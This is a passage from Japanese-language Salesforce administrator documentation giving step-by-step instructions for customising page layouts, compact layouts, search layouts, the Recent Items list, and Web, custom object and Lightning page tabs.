• [ラベルを表示]には、ページレイアウトにカスタムSコントロールの [表示ラベル]を含めるかどうかを

指定します。カスタムSコントロールを広い領域で表示したい場合は、ラベルを非表示にします。

7. セクションを使用するページを構成するには、既存のページセクションの横にある [編集] をクリックする
か、[新規セクション作成] をクリックして新しいページセクションを作成します。
• セクションの名前を入力します。標準ページセクションの名前には、変更できないものがあります。
• セクションに必要な列が、1 列か 2 列かを設定します。
• そのセクションで、ユーザがタブで移動できる項目の順番を設定します。
• 詳細ページおよび編集ページにセクション名を表示する必要があるかどうかを設定します。

8. ページレイアウトにある関連リストをカスタマイズするには、関連リストセクションにある関連リストを
ダブルクリックします。
• 項目を追加または削除するには、1 つ以上の項目を選択したら、矢印を使用して、ページレイアウトの

関連リスト列に選択した項目を追加または削除するか、関連リスト列を表示する順序を定義します。項
目は、1 関連リストにつき 10 項目まで入れることができます。

• 複数の項目を個別に選択するには、Ctrl キーを押しながらクリックします。
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• 複数の項目をグループとして選択するには、Shift キーを押しながらクリックします。
• 関連リストの項目を並び替えるには、[並び替え] ドロップダウンリストから項目を選択します。[降順]

を選択した場合を除き、項目は昇順で表示されます。デフォルト並び替え順は、レコードごとに異なり
ます。[並び替え] ドロップダウンリストは、活動および商談商品に対しては使用できません。

• 必要であれば、関連リストのカスタマイズ内容を適用するページレイアウトをさらに選択します。
• 関連リストに表示する標準ボタンをカスタマイズするには、ボタン名の横にあるチェックボックスをオ

ンまたはオフにします。
• 関連リストに表示するカスタムボタンを指定するには、ボタンを選択して [追加]または [削除]をクリッ

クします。カスタムボタンを並び替えるには、そのカスタムボタンを選択し、[上へ] または [下へ] をク
リックします。

メモ: 関連リストに表示するカスタムボタンの作成手順についての詳細は「カスタムボタンとカス
タムリンクの定義」を参照してください。カスタムボタンは、親オブジェクトではなく、関連リス
トに含まれるオブジェクト用にで定義する必要があります。また、ボタンの [種別]は、「リスト
ボタン」を選択します。たとえば、取引先の [取引先責任者] 関連リストでカスタムボタンを表示す
るには、カスタムボタンを取引先ではなく取引先責任者用に定義します。

一部の関連リストは、データを保存しておらず、リンクされているため、カスタマイズできません。カー
ソルを関連リストセクション上に移動させると、カスタマイズ可能かどうかわかります。また、参照項目
は、それぞれ対応するルックアップ関連リストでは表示できません。たとえば、取引先ページレイアウト
のケース参照項目は、ケース関連リストの編集時には表示できません。

9. ユーザのディスプレイがすでにカスタマイズされている場合でも、ページレイアウトの関連リストをすべ
てのユーザに適用するには、[ユーザのカスタマイズされた関連リストを上書き] をクリックします。

10. ページレイアウトを確認するには、[プレビュー] をクリックします。Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition では、プロファイルを選択することで、プロファイルが異なる
ユーザに対してページがどのように表示されるかを確認できます。ほとんどの関連リストの列は、プレ
ビューではデータが表示されません。

11. [保存]をクリックして終了します。保存後、ページレイアウトの編集を継続するには、[適用]をクリックし
ます。

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、次の操作
を実行します。
• [コンソール] タブのミニビューに表示する関連レコードを選択するには、[ミニコンソールビュー]をクリッ

クします。
• [コンソール] タブのミニビューに表示されるレコードのミニページレイアウトを定義するには、[ミニペー

ジレイアウト] をクリックします。

メモ: セルフサービスポータルのケースクローズ時のレイアウト、またはケース登録ページとケース参照
ページのレイアウトに対するミニコンソールビューまたはミニページレイアウトは定義できません。

Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、次の操作を実行します。
• 他のプロファイルとレコードタイプの組み合わせでページレイアウトを割り当てることができます。
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• 項目レベルセキュリティを設定して、項目へのアクセスをさらに制限できます。

関連トピック:

関連リストのカスタマイズ
ページレイアウト

Compact Layouts

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

コンパクトレイアウトには、Salesforce1と Lightning Experienceのレコードの主要項
目が一目でわかるように表示されます。
Salesforce フルサイトでは、ユーザがクイックアクションを使用してレコードを
作成した後で Chatter フィード項目に表示される項目が、コンパクトレイアウト
によって決まります。

メモ: フィードを介して情報が誤って共有されるのを回避するため、クイッ
クアクションを使用して作成された ToDo の Chatter フィード項目に表示され
る項目は、ToDo のページレイアウトによって決まります。

Salesforce1 では、コンパクトレイアウトに割り当てた最初の 4 つの項目が、次の
場所に表示されます。
• オブジェクトのレコードの [特長] 領域
• レコードの関連情報ページの拡張ルックアップカード
Lightning Experience では、コンパクトレイアウトに追加した最初の 5 項目がオブジェクトのレコードの [特長] パ
ネルに表示されます。また、レコードの詳細内のリンクにマウスポインタを置いたときに表示される拡張ルッ
クアップカードにも表示されます。1 番目に配置した項目が最上位に太字で表示されます。
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メモ: コンパクトレイアウトに割り当てた項目のいずれかに対してユーザにアクセス権がない場合は、レ
イアウトの次の項目が使用されます。

オブジェクトにカスタムコンパクトレイアウトを作成しない場合、そのオブジェクトのレコードの [特長] 項
目、プレビューカード、アクション関連フィード項目はすべて、定義済みの一連の項目を含む、参照のみのシ
ステムデフォルトコンパクトレイアウトによって決定されます。カスタムコンパクトレイアウトを 1 つ以上作
成したら、その 1 つをオブジェクトのプライマリコンパクトレイアウトとして設定できます。その後、プライ
マリコンパクトレイアウトがこのオブジェクトのデフォルトとして使用されます。
プライマリコンパクトレイアウトによって、Chatter の個人ダイジェストメールに表示される項目が決まりま
す。
オブジェクトに関連付けられているレコードタイプがある場合、プライマリコンパクトレイアウトの割り当て
を上書きして、特定のコンパクトレイアウトを各種レコードタイプに割り当てることができます。
コンパクトレイアウトでは、次を除くすべての項目種別がサポートされています。
• テキストエリア
• ロングテキストエリア
• リッチテキストエリア
• 複数選択リスト
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コンパクトレイアウトの作成
コンパクトレイアウトを使用して、Salesforce1 および Lightning Experience で参照するときのオブジェクトレ
コードの表示項目をカスタマイズできます。
レコードタイプへのコンパクトレイアウトの割り当て
オブジェクトにカスタムコンパクトレイアウトを作成しない場合、そのオブジェクトのレコードの [特長]

項目、プレビューカード、アクション関連フィード項目はすべて、定義済みの一連の項目を含む、参照の
みのシステムデフォルトコンパクトレイアウトによって決定されます。カスタムコンパクトレイアウトを
1 つ以上作成したら、その 1 つをオブジェクトのプライマリコンパクトレイアウトとして設定できます。そ
の後、プライマリコンパクトレイアウトがこのオブジェクトのデフォルトとして使用されます。オブジェ
クトに関連付けられているレコードタイプがある場合、プライマリコンパクトレイアウトの割り当てを上
書きして、特定のコンパクトレイアウトを各種レコードタイプに割り当てることができます。
コンパクトレイアウトに関する注意事項

コンパクトレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

コンパクトレイアウトを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

コンパクトレイアウトを
表示する
• 「設定・定義を参照す

る」

コンパクトレイアウトを使用して、Salesforce1および Lightning Experienceで参照す
るときのオブジェクトレコードの表示項目をカスタマイズできます。
コンパクトレイアウトの最初の 4 つの項目が、Salesforce1 の各レコードビューの
上部にあるレコードの [特長] セクションに入力されます。Lightning Experience の
レコードの [特長] セクションでは、コンパクトレイアウトの最初の 5 つの項目が
使用されます。
1. 編集するオブジェクトの管理設定から、コンパクトレイアウトに移動しま

す。
2. 新しいコンパクトレイアウトを作成して表示ラベルを指定します。
3. 最大 10 個の項目を追加します。

ヒント: 何のレコードが表示されているかをユーザが把握できるよう
に、オブジェクトの [名前] 項目を最初に置きます。

4. 項目を選択し、[上へ] または [下へ] をクリックして並び替えます。
項目に割り当てる順序によって、表示される順序が決まります。

5. レイアウトを保存します。
6. オブジェクトの主コンパクトレイアウトとしてコンパクトレイアウトを設定

するには、[コンパクトレイアウトの割り当て] をクリックします。

例: 次の画像は、標準の取引先オブジェクトのコンパクトレイアウト編集ページのサンプルを示していま
す。
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以下は、Salesforce1 モバイルアプリケーションのサンプル取引先の詳細ページです。取引先の名前、所在
地、電話番号、取引先番号がページの上部にすっきりとまとめられています。
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レコードタイプへのコンパクトレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

コンパクトレイアウトを
使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンパクトレイアウトを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

コンパクトレイアウトを
表示する
• 「設定・定義を参照す

る」

オブジェクトにカスタムコンパクトレイアウトを作成しない場合、そのオブジェ
クトのレコードの [特長] 項目、プレビューカード、アクション関連フィード項
目はすべて、定義済みの一連の項目を含む、参照のみのシステムデフォルトコ
ンパクトレイアウトによって決定されます。カスタムコンパクトレイアウトを
1 つ以上作成したら、その 1 つをオブジェクトのプライマリコンパクトレイアウ
トとして設定できます。その後、プライマリコンパクトレイアウトがこのオブ
ジェクトのデフォルトとして使用されます。オブジェクトに関連付けられてい
るレコードタイプがある場合、プライマリコンパクトレイアウトの割り当てを
上書きして、特定のコンパクトレイアウトを各種レコードタイプに割り当てる
ことができます。
1. 編集するオブジェクトの管理設定から、コンパクトレイアウトに移動しま

す。

ヒント: Salesforce ナレッジ記事の場合、[設定] から [クイック検索] ボッ
クスに「ナレッジ記事タイプ」と入力し、[ナレッジ記事タイプ] を選択
して記事タイプの名前をクリックしてから、[コンパクトレイアウト] 関
連リストまでスクロールダウンします。

2. [コンパクトレイアウトの割り当て] をクリックします。
3. このオブジェクトのプライマリコンパクトレイアウトとして使用するコンパ

クトレイアウトを選択します。
4. [レコードタイプの上書き] セクションで、コンパクトレイアウトを割り当て

る 1 つ以上のレコードタイプを選択します。
オブジェクトにレコードタイプが設定されていない場合、このセクションは
表示されません。デフォルトでは、レコードタイプの上書きを設定しない
と、すべてのレコードタイプでオブジェクトのプライマリコンパクトレイア
ウトが使用されます。
無効なレコードタイプがリストに含まれている場合もあります。無効なレ
コードタイプでもコンパクトレイアウトを割り当てることができます。

5. [使用するコンパクトレイアウト] ドロップダウンリストから、選択したセルに割り当てるコンパクトレイ
アウトを選択します。

6. [保存] をクリックします。

関連トピック:

オブジェクト管理設定の検索
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コンパクトレイアウトに関する注意事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

• コンパクトレイアウトに行った変更は、Salesforce1 と Lightning Experience の両
方に反映されます。

• 各レコードタイプに割り当てることができるコンパクトレイアウトは 1 つの
みです。ただし、コンパクトレイアウトを複数のレコードタイプに関連付け
ることはできます。

• Salesforce の特定の項目へのアクセス権がない場合、コンパクトレイアウトに
その項目は表示されません。

• コンパクトレイアウトには、1 つ以上の項目が必要です。
• コンパクトレイアウトには、そのオブジェクトの項目 (別のオブジェクトへ

のクロスオブジェクト参照がある数式項目も含む) のみを挿入できます。
• ページレイアウトから項目を削除しても、オブジェクトのコンパクトレイアウトからは削除されません。

2 つのレイアウトタイプは独立しています。
• コンパクトレイアウトの項目をサポートされていないタイプに変更した場合、その項目はコンパクトレイ

アウトから削除されます。
• オブジェクトのプライマリコンパクトレイアウトとして設定されているコンパクトレイアウトを削除する

には、まずそのコンパクトレイアウトに置き換わる別のコンパクトレイアウトを選択する必要があります。
• Salesforce1 では、ToDo に、ToDo が進行中なのか完了しているのか、および (活動日に対するユーザのアクセ

ス権に応じて) 期日が表示されます。ToDo のコンパクトレイアウトをカスタマイズする場合、これらの項目
を [選択済みの項目] リストに追加する必要はありません。

• コンパクトレイアウトは、Chatter Mobile for BlackBerry または Dashboards for iPad モバイルアプリケーションでは
使用できません。

関連トピック:

コンパクトレイアウトの作成
Compact Layouts
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Lightning Experience でオブジェクトのホームページの [最近参照したデータ] リ
ストに表示される項目の選択

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

最近のレコードリストを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

Salesforce システム管理者は、ほとんどの標準オブジェクトとカスタムオブジェ
クトのホームページに表示される [最近参照したデータ] リストをカスタマイズ
できます。会社にとって最も重要な情報がユーザに表示されるように、表示項
目を選択して並び替えます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

ほとんどのリストビューでは、表示される項目の選択と参照列の並び替えをユー
ザが実行できます。ただし、ユーザはオブジェクトホームページで最近のレコー
ドのクイックリストを編集することはできません。最近のレコードのクイック
リストに表示される項目の選択と並び替えを実行できるのは、Salesforce システ
ム管理者のみです。システム管理者は、このデフォルトリストに他の変更を加
えることはできません。
1. [設定] から [クイック検索]ボックスに「オブジェクトマネージャ」と入力し、

[オブジェクトマネージャ] を選択します。
2. 変更する [最近参照したデータ] リストのオブジェクトの表示ラベル名をク

リックします。
3. ページ上部のリンクのメニューから、[検索レイアウト] をクリックします。
4. [検索結果] 列の右端にある をクリックし、[編集] を選択します。
5. [最近参照したデータ] リストに列を追加するには、[選択可能な項目] から 1 つ以上の項目を選択し、[追加]

をクリックします。列を削除するには、[選択済みの項目] から 1 つ以上の項目を選択し、[削除]をクリック
します。

6. 列を並び替えるには、[選択済みの項目] から 1 つ以上の項目を選択し、[上へ] または [下へ] をクリックしま
す。

7. [保存] をクリックします。

例: たとえば、ユーザが商談に関してコラボレーションしているとします。最近の商談を最後に操作した
ユーザを簡単に表示するため、[選択可能な項目] から [最終更新者] を選択します。[追加] をクリックして
[選択済みの項目] に移動します。これで、この情報が商談ホームページの [最近参照したデータ] リストに
表示されます。
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検索レイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

検索レイアウトを変更す
る
• 「アプリケーションの

カスタマイズ」

検索結果、検索条件項目、ルックアップダイアログ、Salesforce Classicでのタブの
ホームページの最新レコードのリスト、および Salesforce CRM Call Center の電話番
号ルックアップダイアログで、ユーザに表示する項目をカスタマイズします。
検索レイアウトごとに別の項目を表示するように指定できます。設定は、組織
と Salesforce カスタマーポータルの全ユーザに適用されます。
カスタムリストビューと検索結果に表示するボタンをカスタマイズすることも
できます。標準のリストビューボタンを非表示にしたり、カスタムボタンを表
示したりできます。標準ボタンは、検索結果レイアウトでは使用できません。
カスタムボタンを表示するには、カスタムボタンを作成し、ボタンの [表示の種
類] を「リストボタン」にします。
1. 適切なオブジェクトの管理設定から、[検索レイアウト] に移動します。
2. カスタマイズするレイアウトの横にある [編集]をクリックします。表示する

異なる項目のセットを指定します。検索結果、ルックアップダイアログ、
Salesforce Classic でのタブのホームページの最新レコードのリスト、電話番号
ルックアップダイアログ、リストビュー、および検索条件項目を編集できま
す。

3. リストビューと検索結果のレイアウトに表示する標準ボタンまたはカスタムボタンを選択します。リスト
ビューで標準のボタンを非表示にするには、選択を解除します。標準ボタンは、検索結果レイアウトでは
使用できません。

4. [選択可能な項目] および [選択済みの項目] 間で項目を移動します。
• レイアウトに表示する項目をカスタマイズするには、1 つ以上の項目を選択して、[追加] または [削除]

をクリックします。
• レイアウトで項目を並び替えるには、[選択済みの項目] で 1 つ以上の項目を選択して、[上へ] または [下

へ] をクリックします。
• 複数の項目を個別に選択するには、Ctrl キーを押しながらクリックします。
• 複数の項目をグループとして選択するには、Shift キーを押しながらクリックします。
• レイアウトに表示する項目をカスタマイズするには、項目を選択して、[追加] または [削除] をクリック

します。
• レイアウトの項目を並び替えるには、その項目を選択し、[上へ] または [下へ] をクリックします。

メモ: オブジェクトの検索結果レイアウトを編集するとき、[すべてのユーザの検索結果列のカスタマ
イズを上書き]チェックボックスをオンにできます。これをオンにすると、組織内のユーザによる列カ
スタマイズがすべて上書きされ、組織の共有設定になります。

5. [保存] をクリックします。

検索レイアウトに関する注意事項

関連トピック:

ページレイアウト
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検索レイアウトに関する注意事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

検索レイアウトを変更す
る
• 「アプリケーションの

カスタマイズ」

• 検索レイアウトは Salesforce CRM Content には適用されません。
• 検索レイアウトはキャンペーンメンバー、商談チーム、または取引先チーム

には適用されません。
• 検索レイアウトでは、キーワード一致の検索対象となる項目が制御されませ

ん。検索される項目の一覧は、Salesforce 全体で同じです。
• 検索レイアウトあたり 10 項目まで追加できます。
• [取引先名]、[ケース番号]など一意に識別される項目は検索レイアウトから

削除できません。これらの項目は検索レイアウトの項目の順で最初にリスト
する必要があります。

• レイアウトを検索するために、[説明]、[ソリューション詳細]、カスタムロ
ングテキストエリア項目などのロングテキストエリア項目を追加することは
できません。

• 検索レイアウトをユーザがカスタマイズしており一部の項目が通常表示され
ていない場合でも、すべての項目を検索レイアウトに追加できます。

• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition を使用している組織では、検索レイアウトで項目レベルセキュリティが上書きされません。
項目が検索レイアウトに含まれているけれども、項目レベルセキュリティにより一部のユーザに表示され
ていない場合、検索結果でその項目はそれらのユーザには表示されません。

• 組織が Personal Edition、Contact Manager、Group Edition、Professional Edition を使用している場合、検索レイアウ
トではページレイアウト設定が上書きされます。項目が検索レイアウトに含まれているがページレイアウ
トに表示されていないという場合、その項目は検索結果では表示されます。

• リード、取引先、取引先責任者、および商談の検索結果は重複するリードを検索する場合に表示される検
索結果にも適用されます。

• 数式項目は、検索結果レイアウトには使用できません。
• [電話]項目はルックアップ電話ダイアログ検索レイアウトから削除できません。削除すると、ディレクト

リの検索結果を使用して、ソフトフォンダイアルパッドに電話番号を入力できません。
• リストビューまたは検索レイアウトにカスタムボタンを追加するには、標準オブジェクトまたはカスタム

オブジェクトのカスタムボタンを作成し、ボタンの [表示の種類]を [リストボタン]にします。カスタムボ
タンはそのオブジェクトのリストビューおよび検索結果レイアウトで使用できます。

ヒント: 個人取引先アイコン ( ) として表示される[個人取引先] 項目を追加すると、取引先の検索結果
で、個人取引先と法人取引先とも視覚的に区別できます。
[個人取引先]項目は取引先検索レイアウトの最初の列として指定できます。それ以外の場合は、[取引先
名] が最初の列である必要があります。
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ユーザへのカスタムオブジェクトのデータの表示
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

カスタムオブジェクトタ
ブと Web タブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Visualforceタブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

[Lightning ページ] タブを使
用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムタブを作成、編
集する
• 「アプリケーションの

カスタマイズ」

カスタムタブでは、カスタムオブジェクトデータまたはその他の Web コンテン
ツを Salesforceに表示できます。Salesforce Classicのアプリケーションにカスタムタ
ブを追加すると、タブとして表示されます。Lightning Experienceのアプリケーショ
ンにカスタムタブを追加すると、アプリケーションのナビゲーションバーに項
目として表示されます。
カスタムタブには、カスタムオブジェクトデータ、またはアプリケーションに
組み込まれたその他の Web コンテンツが表示されます。次のいずれかの種類の
カスタムタブを作成できます。
カスタムオブジェクトタブ

カスタムオブジェクトタブ (アプリケーションレベルでのみ使用でき、サブ
タブアプリケーションでは使用不可) - カスタムオブジェクトのデータを表示
します。カスタムオブジェクトタブの外観と動作は標準のタブと同じです。

Web タブ
カスタム Web タブ - 外部の Web ベースアプリケーションまたは Web ページを
表示します。Web タブは、サイドバーを使用することも、サイドバーをなく
してページ全体に表示されるように作成することもできます。

Visualforce のタブ
Visualforceタブ - Visualforceページからデータを表示します。Visualforceタブの外
観と機能は標準のタブと同じです。

Lightning コンポーネントのタブ
Lightning コンポーネントタブ - Lightning コンポーネントを Salesforce1 モバイル
アプリケーション (ナビゲーションリスト経由) または Lightning Experienceで使
用できるようにします。Lightning コンポーネントは、Salesforce Classic ではサ
ポートされていません。

メモ: Lightning コンポーネントのタブで Lightning コンポーネントを公開
するには、[私のドメイン]を有効にしてリリースする必要があります。

Lightning ページのタブ
Lightning ページタブ - [アプリケーションページ] という Lightning ページを
Salesforce1 ナビゲーションリストおよび Lightning Experience のナビゲーション
バーに追加できます。
Salesforce Classic では、現在のタブの右側に表示されるプラスアイコン ( ) を
クリックしても [すべてのタブ] ページに [Lightning ページ] タブは表示されま
せん。また、アプリケーションのタブをカスタマイズするときに、[選択可能なタブ] リストに [Lightning ペー
ジ] タブは表示されません。

サブタブアプリケーションでは、Web タブと Visualforce タブのみがサポートされています。
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指定されたカスタムオブジェクトを管理できる委任されたシステム管理者も、これらのカスタムオブジェクト
のタブを作成およびカスタマイズできます。

関連トピック:

サブタブアプリケーションとは?

Web タブの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

カスタムオブジェクトタ
ブと Web タブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Visualforceタブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

[Lightning ページ] タブを使
用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムタブを作成、編
集する
• 「アプリケーションの

カスタマイズ」

Web タブを作成することにより、ユーザが Web アプリケーションを使用したり、
アプリケーションから別の Web サイトを使用したりできます。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
2. [Web タブ] 関連リストで、[新規] をクリックします。
3. 新しいタブのレイアウトを選択します。フルページ幅を選択すると、サイド

バーがなく、ページ全体が表示されるのに対し、2 列幅のスタイルを選択す
ると、サイドバーが表示されます。

4. [次へ] をクリックします。
5. タブに表示する表示ラベルを入力します。
6. [タブスタイル] ルックアップアイコンをクリックして、[タブスタイルの選

択] を表示します。
タブスタイルがすでに使用されている場合は、タブスタイル名の横に角括弧
[] で囲まれた数字が表示されます。スタイル名上にマウスポインタを置き、
そのスタイルを使用しているタブを参照します。タブで未使用のスタイルの
みを表示するには、[他のタブで使用されているスタイルを非表示] をクリッ
クします。

7. タブスタイルをクリックして、カスタムタブの配色とアイコンを選択しま
す。
組織に [ドキュメント] タブへのアクセス権がある場合にカスタムタブスタイ
ルを作成するには、必要に応じて、[タブスタイルの選択] ダイアログの[独自
のスタイルを作成] をクリックします。自分専用のタブスタイルを作成する
手順は、次のとおりです。
a. [色]ルックアップアイコンをクリックして色選択ダイアログを表示し、色

をクリックして選択します。
b. [画像の挿入]をクリックしてドキュメントフォルダを選択し、使用する画

像を選択します。
または、[ドキュメント検索] をクリックして検索語を入力し、[Go!] をク
リックすると、検索語を含むドキュメントファイル名が表示されます。

メモ: このダイアログでは、20 KB 以下で、かつ、ドキュメントプロ
パティ設定で [外部参照可] チェックボックスがオンになっているド
キュメントフォルダに含まれるファイルのみが表示されます。アイ
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コンに使用されているドキュメントが削除されると、Salesforceによってデフォルトの多色のブロッ
クアイコン ( ) に置き換えられます。

c. ファイルを選択し、[OK] をクリックします。新規カスタムタブウィザードが表示されます。

8. 必要に応じてコンテンツフレームの高さを変更します。
9. 必要に応じて、[Salesforce Classic Mobile 準備完了]をオンにし、Web ページがSalesforce Classic Mobile

アプリケーションで正しく表示され、機能することを示します。
このチェックボックスをオンにすると、Salesforce Classic Mobile 設定で使用可能なタブのリストにそのタブが
追加されます。Web タブをモバイル化する前に、Salesforce Classic Mobile タブの考慮事項を確認して、Web タ
ブ内のページとモバイルブラウザの互換性を確認してください。

メモ: [Salesforce Classic Mobile 準備完了] チェックボックスは、組織で Salesforce Classic Mobile

が有効になっている場合にのみ表示されます。

10. 必要に応じて、初めてそのタブをクリックしたときに内容を紹介するスプラッシュページとして使用する、
カスタムリンクを選択します。モバイルアプリケーションではスプラッシュページが表示されないため、
Web タブをモバイル化する場合、スプラッシュページを使用しないでください。

11. 必要に応じてタブの説明を入力し、[次へ] をクリックします。
12. URL を入力するか、タブに表示されるカスタムSコントロールを選択します。リンクに動的に置き換えるデー

タの差し込み項目をコピーして貼り付けることもできます。

メモ: ユーザ、組織、および API の差し込み項目のみが、Web タブで使用できます。

Web タブを表示するには、[Web タブのプレビュー] をクリックします。

13. URL を使用する場合は、文字コード設定を選択して、[次へ] をクリックします。
14. 適切なプロファイルに Web タブを追加します。[デフォルトで表示]、[デフォルトで非表示]、または [タブを

隠す] を選択して、カスタムタブを表示するかどうかをプロファイルごとに指定します。この設定は後で変
更できます。

15. [次へ] をクリックします。
16. 新しいタブが含まれるカスタムアプリケーションを指定します。
17. タブの表示設定をユーザ全員に適用するには、[各ユーザのカスタマイズ設定にタブを追加する] を選択し

ます。
18. [保存] をクリックします。
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カスタムオブジェクトタブの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

カスタムオブジェクトタ
ブと Web タブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Visualforceタブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

[Lightning ページ] タブを使
用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムタブを作成、編
集する
• 「アプリケーションの

カスタマイズ」

カスタムオブジェクトのレコードに保存されたデータを表示するためのタブを
定義します。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
2. [カスタムオブジェクトタブ] 関連リストで [新規] をクリックします。
3. カスタムタブに表示するカスタムオブジェクトをリストから選択します。カ

スタムオブジェクトをまだ作成していない場合は、[新規カスタムオブジェク
トを作成します]をクリックして、「カスタムオブジェクトの定義」 (ページ
5318)の手順に従います。
新しいタブの表示ラベルは、カスタムオブジェクトラベルの複数形と同じで
す。

4. [タブスタイル] ルックアップアイコンをクリックして、[タブスタイルの選
択] を表示します。
タブスタイルがすでに使用されている場合は、タブスタイル名の横に角括弧
[] で囲まれた数字が表示されます。スタイル名上にマウスポインタを置き、
そのスタイルを使用しているタブを参照します。タブで未使用のスタイルの
みを表示するには、[他のタブで使用されているスタイルを非表示] をクリッ
クします。

5. タブスタイルをクリックして、カスタムタブの配色とアイコンを選択しま
す。
組織に [ドキュメント] タブへのアクセス権がある場合にカスタムタブスタイ
ルを作成するには、必要に応じて、[タブスタイルの選択] ダイアログの[独自
のスタイルを作成] をクリックします。自分専用のタブスタイルを作成する
手順は、次のとおりです。
a. [色]ルックアップアイコンをクリックして色選択ダイアログを表示し、色

をクリックして選択します。
b. [画像の挿入]をクリックしてドキュメントフォルダを選択し、使用する画

像を選択します。
または、[ドキュメント検索] をクリックして検索語を入力し、[Go!] をク
リックすると、検索語を含むドキュメントファイル名が表示されます。

メモ: このダイアログでは、20 KB 以下で、かつ、ドキュメントプロパティ設定で [外部参照可] チェッ
クボックスがオンになっているドキュメントフォルダに含まれるファイルのみが表示されます。ア
イコンに使用されているドキュメントが削除されると、Salesforce によってデフォルトの多色のブ
ロックアイコン ( ) に置き換えられます。

c. ファイルを選択し、[OK] をクリックします。新規カスタムタブウィザードが表示されます。

6. 必要に応じて、初めてそのタブをクリックしたときに内容を紹介するスプラッシュページとして使用する、
カスタムリンクを選択します。
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7. 必要に応じてタブの説明を入力し、[次へ] をクリックします。
8. 新規カスタムタブを使用できるユーザプロファイルを選択します。

Professional Edition を使用しているユーザおよび Salesforce Platform Oneライセンスユーザの場合は、タブ表示が
「デフォルトで表示」に設定されます。

メモ: カスタムオブジェクトがカスタムタブに関連付けられている場合にのみ、カスタムオブジェク
トレコードを Salesforce ユーザインターフェースで検索できます。ユーザは、表示用のタブを追加する
必要はありません。

9. 新しいタブが含まれるカスタムアプリケーションを指定します。
10. ユーザが個人用の表示をカスタマイズした場合に、カスタマイズした表示設定にタブを追加するには、[各

ユーザのカスタマイズ設定にタブを追加する] チェックボックスをオンにします。
11. [保存] をクリックします。

選択した表示設定によっては、すぐにタブが表示されます。

関連トピック:

ユーザへのカスタムオブジェクトのデータの表示
検索を高速化するためのガイドライン
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[Lightning ページ] タブの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

カスタムタブを作成、編
集する
• 「アプリケーションの

カスタマイズ」

Salesforce1ナビゲーションリストまたはLightning アプリケーションにLightning ペー
ジのアプリケーションページ種別を追加するには、事前に Lightning ページのカ
スタムタブを作成する必要があります。
Lightning アプリケーションビルダーで最初にアプリケーションページを有効にす
ると、タブは有効化プロセスの一環としてページに作成されます。[設定] でペー
ジのタブを手動で作成してから有効にすることもできます。
Lightning ページのタブは Salesforce1 と Lightning Experience に Lightning ページを追加
する場合にのみ使用します。
Lightning ページのアプリケーションページ種別のためにのみカスタムタブを作成
できます。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
2. [Lightning ページタブ] 関連リストで、[新規] をクリックします。
3. タブの Lightning ページを選択します。
4. 表示ラベルを入力します。

このテキストは、Lightning ページの表示名です。
5. タブスタイルを選択して、Lightning ページタブの配色とアイコンを設定します。

組織に [ドキュメント] タブへのアクセス権がある場合にカスタムタブスタイルを作成するには、必要に応
じて、[タブスタイルの選択] ダイアログの [独自のスタイルを作成] をクリックします。自分専用のタブス
タイルを作成する手順は、次のとおりです。
a. [色]ルックアップアイコンをクリックして色選択ダイアログを表示し、色をクリックして選択します。
b. [画像の挿入] をクリックしてドキュメントフォルダを選択し、使用する画像を選択します。

または、[ドキュメント検索]をクリックして検索語を入力し、[Go!]をクリックすると、検索語を含むド
キュメントファイル名が表示されます。

